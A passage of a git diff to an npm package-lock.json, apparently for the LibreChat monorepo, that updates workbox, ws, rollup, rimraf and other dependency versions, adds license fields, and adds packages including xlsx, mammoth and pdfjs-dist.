+ "integrity": "sha512-ESL2CrkS/2wTPfuend7Zhkzo2u0daGJ/A2VucJOgQ/C48S/zB8MMeMHSGKYpXhIjbPxfuezITkaBH1wqv00DDQ==",
+ "dev": true,
+ "license": "BlueOak-1.0.0",
+ "engines": {
+ "node": "20 || >=22"
+ }
+ },
"node_modules/workbox-build/node_modules/magic-string": {
"version": "0.25.9",
"resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.25.9.tgz",
"integrity": "sha512-RmF0AsMzgt25qzqqLc1+MbHmhdx0ojF2Fvs4XnOqz2ZOBXzzkEwc/dJQZCYHAn7v1jbVOjAZfK8msRn4BxO4VQ==",
"dev": true,
+ "license": "MIT",
"dependencies": {
"sourcemap-codec": "^1.4.8"
}
},
+ "node_modules/workbox-build/node_modules/minimatch": {
+ "version": "10.2.4",
+ "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.2.4.tgz",
+ "integrity": "sha512-oRjTw/97aTBN0RHbYCdtF1MQfvusSIBQM0IZEgzl6426+8jSC0nF1a/GmnVLpfB9yyr6g6FTqWqiZVbxrtaCIg==",
+ "dev": true,
+ "license": "BlueOak-1.0.0",
+ "dependencies": {
+ "brace-expansion": "^5.0.2"
+ },
+ "engines": {
+ "node": "18 || 20 || >=22"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/isaacs"
+ }
+ },
+ "node_modules/workbox-build/node_modules/path-scurry": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-2.0.2.tgz",
+ "integrity": "sha512-3O/iVVsJAPsOnpwWIeD+d6z/7PmqApyQePUtCndjatj/9I5LylHvt5qluFaBT3I5h3r1ejfR056c+FCv+NnNXg==",
+ "dev": true,
+ "license": "BlueOak-1.0.0",
+ "dependencies": {
+ "lru-cache": "^11.0.0",
+ "minipass": "^7.1.2"
+ },
+ "engines": {
+ "node": "18 || 20 || >=22"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/isaacs"
+ }
+ },
"node_modules/workbox-build/node_modules/pretty-bytes": {
"version": "5.6.0",
"resolved": "https://registry.npmjs.org/pretty-bytes/-/pretty-bytes-5.6.0.tgz",
"integrity": "sha512-FFw039TmrBqFK8ma/7OL3sDz/VytdtJr044/QUJtH0wK9lb9jLq9tJyIxUwtQJHwar2BqtiA4iCWSwo9JLkzFg==",
"dev": true,
+ "license": "MIT",
"engines": {
"node": ">=6"
},
@@ -41581,10 +43582,11 @@
}
},
"node_modules/workbox-build/node_modules/rollup": {
- "version": "2.79.2",
- "resolved": "https://registry.npmjs.org/rollup/-/rollup-2.79.2.tgz",
- "integrity": "sha512-fS6iqSPZDs3dr/y7Od6y5nha8dW1YnbgtsyotCVvoFGKbERG++CVRFv1meyGDE1SNItQA8BrnCw7ScdAhRJ3XQ==",
+ "version": "2.80.0",
+ "resolved": "https://registry.npmjs.org/rollup/-/rollup-2.80.0.tgz",
+ "integrity": "sha512-cIFJOD1DESzpjOBl763Kp1AH7UE/0fcdHe6rZXUdQ9c50uvgigvW97u3IcSeBwOkgqL/PXPBktBCh0KEu5L8XQ==",
"dev": true,
+ "license": "MIT",
"bin": {
"rollup": "dist/bin/rollup"
},
@@ -41595,11 +43597,26 @@
"fsevents": "~2.3.2"
}
},
+ "node_modules/workbox-build/node_modules/signal-exit": {
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz",
+ "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==",
+ "dev": true,
+ "license": "ISC",
+ "engines": {
+ "node": ">=14"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/isaacs"
+ }
+ },
"node_modules/workbox-build/node_modules/source-map": {
"version": "0.8.0-beta.0",
"resolved": "https://registry.npmjs.org/source-map/-/source-map-0.8.0-beta.0.tgz",
"integrity": "sha512-2ymg6oRBpebeZi9UUNsgQ89bhx01TcTkmNTGnNO88imTmbSgy4nfujrgVEFKWpMTEGA11EDkTt7mqObTPdigIA==",
+ "deprecated": "The work that was done in this beta branch won't be included in future versions",
"dev": true,
+ "license": "BSD-3-Clause",
"dependencies": {
"whatwg-url": "^7.0.0"
},
@@ -41612,6 +43629,7 @@
"resolved": "https://registry.npmjs.org/tr46/-/tr46-1.0.1.tgz",
"integrity": "sha512-dTpowEjclQ7Kgx5SdBkqRzVhERQXov8/l9Ft9dVM9fmg0W0KQSVaXX9T4i6twCPNtYiZM53lpSSUAwJbFPOHxA==",
"dev": true,
+ "license": "MIT",
"dependencies": {
"punycode": "^2.1.0"
}
@@ -41620,13 +43638,15 @@
"version": "4.0.2",
"resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-4.0.2.tgz",
"integrity": "sha512-YQ+BmxuTgd6UXZW3+ICGfyqRyHXVlD5GtQr5+qjiNW7bF0cqrzX500HVXPBOvgXb5YnzDd+h0zqyv61KUD7+Sg==",
- "dev": true
+ "dev": true,
+ "license": "BSD-2-Clause"
},
"node_modules/workbox-build/node_modules/whatwg-url": {
"version": "7.1.0",
"resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-7.1.0.tgz",
"integrity": "sha512-WUu7Rg1DroM7oQvGWfOiAK21n74Gg+T4elXEQYkOhtyLeWiJFoOGLXPKI/9gzIie9CtwVLm8wtw6YJdKyxSjeg==",
"dev": true,
+ "license": "MIT",
"dependencies": {
"lodash.sortby": "^4.7.0",
"tr46": "^1.0.1",
@@ -41634,127 +43654,140 @@
}
},
"node_modules/workbox-cacheable-response": {
- "version": "7.3.0",
- "resolved": "https://registry.npmjs.org/workbox-cacheable-response/-/workbox-cacheable-response-7.3.0.tgz",
- "integrity": "sha512-eAFERIg6J2LuyELhLlmeRcJFa5e16Mj8kL2yCDbhWE+HUun9skRQrGIFVUagqWj4DMaaPSMWfAolM7XZZxNmxA==",
+ "version": "7.4.0",
+ "resolved": "https://registry.npmjs.org/workbox-cacheable-response/-/workbox-cacheable-response-7.4.0.tgz",
+ "integrity": "sha512-0Fb8795zg/x23ISFkAc7lbWes6vbw34DGFIMw31cwuHPgDEC/5EYm6m/ZkylLX0EnEbbOyOCLjKgFS/Z5g0HeQ==",
"dev": true,
+ "license": "MIT",
"dependencies": {
- "workbox-core": "7.3.0"
+ "workbox-core": "7.4.0"
}
},
"node_modules/workbox-core": {
- "version": "7.3.0",
- "resolved": "https://registry.npmjs.org/workbox-core/-/workbox-core-7.3.0.tgz",
- "integrity": "sha512-Z+mYrErfh4t3zi7NVTvOuACB0A/jA3bgxUN3PwtAVHvfEsZxV9Iju580VEETug3zYJRc0Dmii/aixI/Uxj8fmw==",
- "dev": true
+ "version": "7.4.0",
+ "resolved": "https://registry.npmjs.org/workbox-core/-/workbox-core-7.4.0.tgz",
+ "integrity": "sha512-6BMfd8tYEnN4baG4emG9U0hdXM4gGuDU3ectXuVHnj71vwxTFI7WOpQJC4siTOlVtGqCUtj0ZQNsrvi6kZZTAQ==",
+ "dev": true,
+ "license": "MIT"
},
"node_modules/workbox-expiration": {
- "version": "7.3.0",
- "resolved": "https://registry.npmjs.org/workbox-expiration/-/workbox-expiration-7.3.0.tgz",
- "integrity": "sha512-lpnSSLp2BM+K6bgFCWc5bS1LR5pAwDWbcKt1iL87/eTSJRdLdAwGQznZE+1czLgn/X05YChsrEegTNxjM067vQ==",
+ "version": "7.4.0",
+ "resolved": "https://registry.npmjs.org/workbox-expiration/-/workbox-expiration-7.4.0.tgz",
+ "integrity": "sha512-V50p4BxYhtA80eOvulu8xVfPBgZbkxJ1Jr8UUn0rvqjGhLDqKNtfrDfjJKnLz2U8fO2xGQJTx/SKXNTzHOjnHw==",
"dev": true,
+ "license": "MIT",
"dependencies": {
"idb": "^7.0.1",
- "workbox-core": "7.3.0"
+ "workbox-core": "7.4.0"
}
},
"node_modules/workbox-google-analytics": {
- "version": "7.3.0",
- "resolved": "https://registry.npmjs.org/workbox-google-analytics/-/workbox-google-analytics-7.3.0.tgz",
- "integrity": "sha512-ii/tSfFdhjLHZ2BrYgFNTrb/yk04pw2hasgbM70jpZfLk0vdJAXgaiMAWsoE+wfJDNWoZmBYY0hMVI0v5wWDbg==",
+ "version": "7.4.0",
+ "resolved": "https://registry.npmjs.org/workbox-google-analytics/-/workbox-google-analytics-7.4.0.tgz",
+ "integrity": "sha512-MVPXQslRF6YHkzGoFw1A4GIB8GrKym/A5+jYDUSL+AeJw4ytQGrozYdiZqUW1TPQHW8isBCBtyFJergUXyNoWQ==",
"dev": true,
+ "license": "MIT",
"dependencies": {
- "workbox-background-sync": "7.3.0",
- "workbox-core": "7.3.0",
- "workbox-routing": "7.3.0",
- "workbox-strategies": "7.3.0"
+ "workbox-background-sync": "7.4.0",
+ "workbox-core": "7.4.0",
+ "workbox-routing": "7.4.0",
+ "workbox-strategies": "7.4.0"
}
},
"node_modules/workbox-navigation-preload": {
- "version": "7.3.0",
- "resolved": "https://registry.npmjs.org/workbox-navigation-preload/-/workbox-navigation-preload-7.3.0.tgz",
- "integrity": "sha512-fTJzogmFaTv4bShZ6aA7Bfj4Cewaq5rp30qcxl2iYM45YD79rKIhvzNHiFj1P+u5ZZldroqhASXwwoyusnr2cg==",
+ "version": "7.4.0",
+ "resolved": "https://registry.npmjs.org/workbox-navigation-preload/-/workbox-navigation-preload-7.4.0.tgz",
+ "integrity": "sha512-etzftSgdQfjMcfPgbfaZCfM2QuR1P+4o8uCA2s4rf3chtKTq/Om7g/qvEOcZkG6v7JZOSOxVYQiOu6PbAZgU6w==",
"dev": true,
+ "license": "MIT",
"dependencies": {
- "workbox-core": "7.3.0"
+ "workbox-core": "7.4.0"
}
},
"node_modules/workbox-precaching": {
- "version": "7.3.0",
- "resolved": "https://registry.npmjs.org/workbox-precaching/-/workbox-precaching-7.3.0.tgz",
- "integrity": "sha512-ckp/3t0msgXclVAYaNndAGeAoWQUv7Rwc4fdhWL69CCAb2UHo3Cef0KIUctqfQj1p8h6aGyz3w8Cy3Ihq9OmIw==",
+ "version": "7.4.0",
+ "resolved": "https://registry.npmjs.org/workbox-precaching/-/workbox-precaching-7.4.0.tgz",
+ "integrity": "sha512-VQs37T6jDqf1rTxUJZXRl3yjZMf5JX/vDPhmx2CPgDDKXATzEoqyRqhYnRoxl6Kr0rqaQlp32i9rtG5zTzIlNg==",
"dev": true,
+ "license": "MIT",
"dependencies": {
- "workbox-core": "7.3.0",
- "workbox-routing": "7.3.0",
- "workbox-strategies": "7.3.0"
+ "workbox-core": "7.4.0",
+ "workbox-routing": "7.4.0",
+ "workbox-strategies": "7.4.0"
}
},
"node_modules/workbox-range-requests": {
- "version": "7.3.0",
- "resolved": "https://registry.npmjs.org/workbox-range-requests/-/workbox-range-requests-7.3.0.tgz",
- "integrity": "sha512-EyFmM1KpDzzAouNF3+EWa15yDEenwxoeXu9bgxOEYnFfCxns7eAxA9WSSaVd8kujFFt3eIbShNqa4hLQNFvmVQ==",
+ "version": "7.4.0",
+ "resolved": "https://registry.npmjs.org/workbox-range-requests/-/workbox-range-requests-7.4.0.tgz",
+ "integrity": "sha512-3Vq854ZNuP6Y0KZOQWLaLC9FfM7ZaE+iuQl4VhADXybwzr4z/sMmnLgTeUZLq5PaDlcJBxYXQ3U91V7dwAIfvw==",
"dev": true,
+ "license": "MIT",
"dependencies": {
- "workbox-core": "7.3.0"
+ "workbox-core": "7.4.0"
}
},
"node_modules/workbox-recipes": {
- "version": "7.3.0",
- "resolved": "https://registry.npmjs.org/workbox-recipes/-/workbox-recipes-7.3.0.tgz",
- "integrity": "sha512-BJro/MpuW35I/zjZQBcoxsctgeB+kyb2JAP5EB3EYzePg8wDGoQuUdyYQS+CheTb+GhqJeWmVs3QxLI8EBP1sg==",
+ "version": "7.4.0",
+ "resolved": "https://registry.npmjs.org/workbox-recipes/-/workbox-recipes-7.4.0.tgz",
+ "integrity": "sha512-kOkWvsAn4H8GvAkwfJTbwINdv4voFoiE9hbezgB1sb/0NLyTG4rE7l6LvS8lLk5QIRIto+DjXLuAuG3Vmt3cxQ==",
"dev": true,
+ "license": "MIT",
"dependencies": {
- "workbox-cacheable-response": "7.3.0",
- "workbox-core": "7.3.0",
- "workbox-expiration": "7.3.0",
- "workbox-precaching": "7.3.0",
- "workbox-routing": "7.3.0",
- "workbox-strategies": "7.3.0"
+ "workbox-cacheable-response": "7.4.0",
+ "workbox-core": "7.4.0",
+ "workbox-expiration": "7.4.0",
+ "workbox-precaching": "7.4.0",
+ "workbox-routing": "7.4.0",
+ "workbox-strategies": "7.4.0"
}
},
"node_modules/workbox-routing": {
- "version": "7.3.0",
- "resolved": "https://registry.npmjs.org/workbox-routing/-/workbox-routing-7.3.0.tgz",
- "integrity": "sha512-ZUlysUVn5ZUzMOmQN3bqu+gK98vNfgX/gSTZ127izJg/pMMy4LryAthnYtjuqcjkN4HEAx1mdgxNiKJMZQM76A==",
+ "version": "7.4.0",
+ "resolved": "https://registry.npmjs.org/workbox-routing/-/workbox-routing-7.4.0.tgz",
+ "integrity": "sha512-C/ooj5uBWYAhAqwmU8HYQJdOjjDKBp9MzTQ+otpMmd+q0eF59K+NuXUek34wbL0RFrIXe/KKT+tUWcZcBqxbHQ==",
"dev": true,
+ "license": "MIT",
"dependencies": {
- "workbox-core": "7.3.0"
+ "workbox-core": "7.4.0"
}
},
"node_modules/workbox-strategies": {
- "version": "7.3.0",
- "resolved": "https://registry.npmjs.org/workbox-strategies/-/workbox-strategies-7.3.0.tgz",
- "integrity": "sha512-tmZydug+qzDFATwX7QiEL5Hdf7FrkhjaF9db1CbB39sDmEZJg3l9ayDvPxy8Y18C3Y66Nrr9kkN1f/RlkDgllg==",
+ "version": "7.4.0",
+ "resolved": "https://registry.npmjs.org/workbox-strategies/-/workbox-strategies-7.4.0.tgz",
+ "integrity": "sha512-T4hVqIi5A4mHi92+5EppMX3cLaVywDp8nsyUgJhOZxcfSV/eQofcOA6/EMo5rnTNmNTpw0rUgjAI6LaVullPpg==",
"dev": true,
+ "license": "MIT",
"dependencies": {
- "workbox-core": "7.3.0"
+ "workbox-core": "7.4.0"
}
},
"node_modules/workbox-streams": {
- "version": "7.3.0",
- "resolved": "https://registry.npmjs.org/workbox-streams/-/workbox-streams-7.3.0.tgz",
- "integrity": "sha512-SZnXucyg8x2Y61VGtDjKPO5EgPUG5NDn/v86WYHX+9ZqvAsGOytP0Jxp1bl663YUuMoXSAtsGLL+byHzEuMRpw==",
+ "version": "7.4.0",
+ "resolved": "https://registry.npmjs.org/workbox-streams/-/workbox-streams-7.4.0.tgz",
+ "integrity": "sha512-QHPBQrey7hQbnTs5GrEVoWz7RhHJXnPT+12qqWM378orDMo5VMJLCkCM1cnCk+8Eq92lccx/VgRZ7WAzZWbSLg==",
"dev": true,
+ "license": "MIT",
"dependencies": {
- "workbox-core": "7.3.0",
- "workbox-routing": "7.3.0"
+ "workbox-core": "7.4.0",
+ "workbox-routing": "7.4.0"
}
},
"node_modules/workbox-sw": {
- "version": "7.3.0",
- "resolved": "https://registry.npmjs.org/workbox-sw/-/workbox-sw-7.3.0.tgz",
- "integrity": "sha512-aCUyoAZU9IZtH05mn0ACUpyHzPs0lMeJimAYkQkBsOWiqaJLgusfDCR+yllkPkFRxWpZKF8vSvgHYeG7LwhlmA==",
- "dev": true
+ "version": "7.4.0",
+ "resolved": "https://registry.npmjs.org/workbox-sw/-/workbox-sw-7.4.0.tgz",
+ "integrity": "sha512-ltU+Kr3qWR6BtbdlMnCjobZKzeV1hN+S6UvDywBrwM19TTyqA03X66dzw1tEIdJvQ4lYKkBFox6IAEhoSEZ8Xw==",
+ "dev": true,
+ "license": "MIT"
},
"node_modules/workbox-window": {
- "version": "7.3.0",
- "resolved": "https://registry.npmjs.org/workbox-window/-/workbox-window-7.3.0.tgz",
- "integrity": "sha512-qW8PDy16OV1UBaUNGlTVcepzrlzyzNW/ZJvFQQs2j2TzGsg6IKjcpZC1RSquqQnTOafl5pCj5bGfAHlCjOOjdA==",
+ "version": "7.4.0",
+ "resolved": "https://registry.npmjs.org/workbox-window/-/workbox-window-7.4.0.tgz",
+ "integrity": "sha512-/bIYdBLAVsNR3v7gYGaV4pQW3M3kEPx5E8vDxGvxo6khTrGtSSCS7QiFKv9ogzBgZiy0OXLP9zO28U/1nF1mfw==",
"dev": true,
+ "license": "MIT",
"dependencies": {
"@types/trusted-types": "^2.0.2",
- "workbox-core": "7.3.0"
+ "workbox-core": "7.4.0"
}
},
"node_modules/wrap-ansi": {
@@ -41885,9 +43918,10 @@
}
},
"node_modules/ws": {
- "version": "8.18.0",
- "resolved": "https://registry.npmjs.org/ws/-/ws-8.18.0.tgz",
- "integrity": "sha512-8VbfWfHLbbwu3+N6OKsOMpBdT4kXPDDB9cJk2bJ6mh9ucxdlnNvH1e+roYkKmN9Nxw2yjz7VzeO9oOz2zJ04Pw==",
+ "version": "8.19.0",
+ "resolved": "https://registry.npmjs.org/ws/-/ws-8.19.0.tgz",
+ "integrity": "sha512-blAT2mjOEIi0ZzruJfIhb3nps74PRWTCz1IjglWEEpQl5XS/UNama6u2/rjFkDDouqr4L67ry+1aGIALViWjDg==",
+ "license": "MIT",
"engines": {
"node": ">=10.0.0"
},
@@ -41904,6 +43938,18 @@
}
}
},
+ "node_modules/xlsx": {
+ "version": "0.20.3",
+ "resolved": "https://cdn.sheetjs.com/xlsx-0.20.3/xlsx-0.20.3.tgz",
+ "integrity": "sha512-oLDq3jw7AcLqKWH2AhCpVTZl8mf6X2YReP+Neh0SJUzV/BdZYjth94tG5toiMB1PPrYtxOCfaoUCkvtuH+3AJA==",
+ "license": "Apache-2.0",
+ "bin": {
+ "xlsx": "bin/xlsx.njs"
+ },
+ "engines": {
+ "node": ">=0.8"
+ }
+ },
"node_modules/xml": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/xml/-/xml-1.0.1.tgz",
@@ -41945,12 +43991,13 @@
}
},
"node_modules/xml-name-validator": {
- "version": "4.0.0",
- "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-4.0.0.tgz",
- "integrity": "sha512-ICP2e+jsHvAj2E2lIHxa5tjXRlKDJo4IdvPvCXbXQGdzSfmSpNVyIKMvoZHjDY9DP0zV17iI85o90vRFXNccRw==",
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-5.0.0.tgz",
+ "integrity": "sha512-EvGK8EJ3DhaHfbRlETOWAS5pO9MZITeauHKJyb8wyajUfQUenkIg2MvLDTZ4T/TgIcm3HU0TFBgWWboAZ30UHg==",
"dev": true,
+ "license": "Apache-2.0",
"engines": {
- "node": ">=12"
+ "node": ">=18"
}
},
"node_modules/xml2js": {
@@ -42002,6 +44049,8 @@
"version": "4.0.2",
"resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz",
"integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==",
+ "dev": true,
+ "license": "MIT",
"engines": {
"node": ">=0.4"
}
@@ -42083,9 +44132,9 @@
}
},
"node_modules/yauzl": {
- "version": "3.2.0",
- "resolved": "https://registry.npmjs.org/yauzl/-/yauzl-3.2.0.tgz",
- "integrity": "sha512-Ow9nuGZE+qp1u4JIPvg+uCiUr7xGQWdff7JQSk5VGYTAZMDe2q8lxJ10ygv10qmSj031Ty/6FNJpLO4o1Sgc+w==",
+ "version": "3.2.1",
+ "resolved": "https://registry.npmjs.org/yauzl/-/yauzl-3.2.1.tgz",
+ "integrity": "sha512-k1isifdbpNSFEHFJ1ZY4YDewv0IH9FR61lDetaRMD3j2ae3bIXGV+7c+LHCqtQGofSd8PIyV4X6+dHMAnSr60A==",
"dev": true,
"license": "MIT",
"dependencies": {
@@ -42146,7 +44195,7 @@
},
"packages/api": {
"name": "@librechat/api",
- "version": "1.7.23",
+ "version": "1.7.25",
"license": "ISC",
"devDependencies": {
"@babel/preset-env": "^7.21.5",
@@ -42171,12 +44220,15 @@
"jest": "^30.2.0",
"jest-junit": "^16.0.0",
"librechat-data-provider": "*",
+ "mammoth": "^1.11.0",
"mongodb": "^6.14.2",
- "rimraf": "^6.1.2",
- "rollup": "^4.22.4",
+ "pdfjs-dist": "^5.4.624",
+ "rimraf": "^6.1.3",
+ "rollup": "^4.34.9",
"rollup-plugin-peer-deps-external": "^2.2.4",
"ts-node": "^10.9.2",
- "typescript": "^5.0.4"
+ "typescript": "^5.0.4",
+ "xlsx": "https://cdn.sheetjs.com/xlsx-0.20.3/xlsx-0.20.3.tgz"
},
"peerDependencies": {
"@anthropic-ai/vertex-sdk": "^0.14.3",
@@ -42188,10 +44240,11 @@
"@google/genai": "^1.19.0",
"@keyv/redis": "^4.3.3",
"@langchain/core": "^0.3.80",
- "@librechat/agents": "^3.1.50",
+ "@librechat/agents": "^3.1.56",
"@librechat/data-schemas": "*",
- "@modelcontextprotocol/sdk": "^1.26.0",
+ "@modelcontextprotocol/sdk": "^1.27.1",
"@smithy/node-http-handler": "^4.4.5",
+ "ai-tokenizer": "^1.0.6",
"axios": "^1.13.5",
"connect-redis": "^8.1.0",
"eventsource": "^3.0.2",
@@ -42207,13 +44260,14 @@
"keyv": "^5.3.2",
"keyv-file": "^5.1.2",
"librechat-data-provider": "*",
+ "mammoth": "^1.11.0",
"mathjs": "^15.1.0",
"memorystore": "^1.6.7",
"mongoose": "^8.12.1",
"node-fetch": "2.7.0",
+ "pdfjs-dist": "^5.4.624",
"rate-limit-redis": "^4.2.0",
- "tiktoken": "^1.0.15",
- "undici": "^7.18.2",
+ "undici": "^7.24.1",
"zod": "^3.22.4"
}
},
@@ -42236,13 +44290,13 @@
}
},
"packages/api/node_modules/rimraf": {
- "version": "6.1.2",
- "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-6.1.2.tgz",
- "integrity": "sha512-cFCkPslJv7BAXJsYlK1dZsbP8/ZNLkCAQ0bi1hf5EKX2QHegmDFEFA6QhuYJlk7UDdc+02JjO80YSOrWPpw06g==",
+ "version": "6.1.3",
+ "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-6.1.3.tgz",
+ "integrity": "sha512-LKg+Cr2ZF61fkcaK1UdkH2yEBBKnYjTyWzTJT6KNPcSPaiT7HSdhtMXQuN5wkTX0Xu72KQ1l8S42rlmexS2hSA==",
"dev": true,
"license": "BlueOak-1.0.0",
"dependencies": {
- "glob": "^13.0.0",
+ "glob": "^13.0.3",
"package-json-from-dist": "^1.0.1"
},
"bin": {
@@ -42257,7 +44311,7 @@
},
"packages/client": {
"name": "@librechat/client",
- "version": "0.4.52",
+ "version": "0.4.54",
"devDependencies": {
"@babel/core": "^7.28.5",
"@babel/preset-env": "^7.28.5",
@@ -42287,8 +44341,8 @@
"react": "^18.2.0",
"react-dom": "^18.2.0",
"react-i18next": "^15.4.0",
- "rimraf": "^6.1.2",
- "rollup": "^4.0.0",
+ "rimraf": "^6.1.3",
+ "rollup": "^4.34.9",
"rollup-plugin-peer-deps-external": "^2.2.4",
"rollup-plugin-postcss": "^4.0.2",
"rollup-plugin-typescript2": "^0.35.0",
@@ -43649,89 +45703,6 @@
"@babel/core": "^7.0.0-0"
}
},
- "packages/client/node_modules/@jest/environment": {
- "version": "30.2.0",
- "resolved": "https://registry.npmjs.org/@jest/environment/-/environment-30.2.0.tgz",
- "integrity": "sha512-/QPTL7OBJQ5ac09UDRa3EQes4gt1FTEG/8jZ/4v5IVzx+Cv7dLxlVIvfvSVRiiX2drWyXeBjkMSR8hvOWSog5g==",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "@jest/fake-timers": "30.2.0",
- "@jest/types": "30.2.0",
- "@types/node": "*",
- "jest-mock": "30.2.0"
- },
- "engines": {
- "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
- }
- },
- "packages/client/node_modules/@jest/fake-timers": {
- "version": "30.2.0",
- "resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-30.2.0.tgz",
- "integrity": "sha512-HI3tRLjRxAbBy0VO8dqqm7Hb2mIa8d5bg/NJkyQcOk7V118ObQML8RC5luTF/Zsg4474a+gDvhce7eTnP4GhYw==",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "@jest/types": "30.2.0",
- "@sinonjs/fake-timers": "^13.0.0",
- "@types/node": "*",
- "jest-message-util": "30.2.0",
- "jest-mock": "30.2.0",
- "jest-util": "30.2.0"
- },
- "engines": {
- "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
- }
- },
- "packages/client/node_modules/@jest/types": {
- "version": "30.2.0",
- "resolved": "https://registry.npmjs.org/@jest/types/-/types-30.2.0.tgz",
- "integrity": "sha512-H9xg1/sfVvyfU7o3zMfBEjQ1gcsdeTMgqHoYdN79tuLqfTtuu7WckRA1R5whDwOzxaZAeMKTYWqP+WCAi0CHsg==",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "@jest/pattern": "30.0.1",
- "@jest/schemas": "30.0.5",
- "@types/istanbul-lib-coverage": "^2.0.6",
- "@types/istanbul-reports": "^3.0.4",
- "@types/node": "*",
- "@types/yargs": "^17.0.33",
- "chalk": "^4.1.2"
- },
- "engines": {
- "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
- }
- },
- "packages/client/node_modules/@jest/types/node_modules/@jest/schemas": {
- "version": "30.0.5",
- "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-30.0.5.tgz",
- "integrity": "sha512-DmdYgtezMkh3cpU8/1uyXakv3tJRcmcXxBOcO0tbaozPwpmh4YMsnWrQm9ZmZMfa5ocbxzbFk6O4bDPEc/iAnA==",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "@sinclair/typebox": "^0.34.0"
- },
- "engines": {
- "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
- }
- },
- "packages/client/node_modules/@sinclair/typebox": {
- "version": "0.34.41",
- "resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.34.41.tgz",
- "integrity": "sha512-6gS8pZzSXdyRHTIqoqSVknxolr1kzfy4/CeDnrzsVz8TTIWUbOBr6gnzOmTYJ3eXQNh4IYHIGi5aIL7sOZ2G/g==",
- "dev": true,
- "license": "MIT"
- },
- "packages/client/node_modules/@sinonjs/fake-timers": {
- "version": "13.0.5",
- "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-13.0.5.tgz",
- "integrity": "sha512-36/hTbH2uaWuGVERyC6da9YwGWnzUZXuPro/F2LfsdOsLnCojz/iSH8MxUt/FD2S5XBSVPhmArFUXcpCQ2Hkiw==",
- "dev": true,
- "license": "BSD-3-Clause",
- "dependencies": {
- "@sinonjs/commons": "^3.0.1"
- }
- },
"packages/client/node_modules/@tanstack/react-table": {
"version": "8.21.3",
"resolved": "https://registry.npmjs.org/@tanstack/react-table/-/react-table-8.21.3.tgz",
@@ -43905,28 +45876,6 @@
"dev": true,
"license": "MIT"
},
- "packages/client/node_modules/@types/jsdom": {
- "version": "21.1.7",
- "resolved": "https://registry.npmjs.org/@types/jsdom/-/jsdom-21.1.7.tgz",
- "integrity": "sha512-yOriVnggzrnQ3a9OKOCxaVuSug3w3/SbOj5i7VwXWZEyUNl3bLF9V3MfxGbZKuwqJOQyRfqXyROBB1CoZLFWzA==",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "@types/node": "*",
- "@types/tough-cookie": "*",
- "parse5": "^7.0.0"
- }
- },
- "packages/client/node_modules/agent-base": {
- "version": "7.1.4",
- "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.4.tgz",
- "integrity": "sha512-MnA+YT8fwfJPgBx3m60MNqakm30XOkyIoH1y6huTQvC0PwZG7ki8NacLBcrPbNoo8vEZy7Jpuk7+jMO+CUovTQ==",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": ">= 14"
- }
- },
"packages/client/node_modules/ansi-styles": {
"version": "5.2.0",
"resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz",
@@ -43992,22 +45941,6 @@
"@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0"
}
},
- "packages/client/node_modules/ci-info": {
- "version": "4.3.1",
- "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-4.3.1.tgz",
- "integrity": "sha512-Wdy2Igu8OcBpI2pZePZ5oWjPC38tmDVx5WKUXKwlLYkA0ozo85sLsLvkBbBn/sZaSCMFOGZJ14fvW9t5/d7kdA==",
- "dev": true,
- "funding": [
- {
- "type": "github",
- "url": "https://github.com/sponsors/sibiraj-s"
- }
- ],
- "license": "MIT",
- "engines": {
- "node": ">=8"
- }
- },
"packages/client/node_modules/core-js-compat": {
"version": "3.47.0",
"resolved": "https://registry.npmjs.org/core-js-compat/-/core-js-compat-3.47.0.tgz",
@@ -44022,68 +45955,6 @@
"url": "https://opencollective.com/core-js"
}
},
- "packages/client/node_modules/cssstyle": {
- "version": "4.6.0",
- "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-4.6.0.tgz",
- "integrity": "sha512-2z+rWdzbbSZv6/rhtvzvqeZQHrBaqgogqt85sqFNbabZOuFbCVFb8kPeEtZjiKkbrm395irpNKiYeFeLiQnFPg==",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "@asamuzakjp/css-color": "^3.2.0",
- "rrweb-cssom": "^0.8.0"
- },
- "engines": {
- "node": ">=18"
- }
- },
- "packages/client/node_modules/data-urls": {
- "version": "5.0.0",
- "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-5.0.0.tgz",
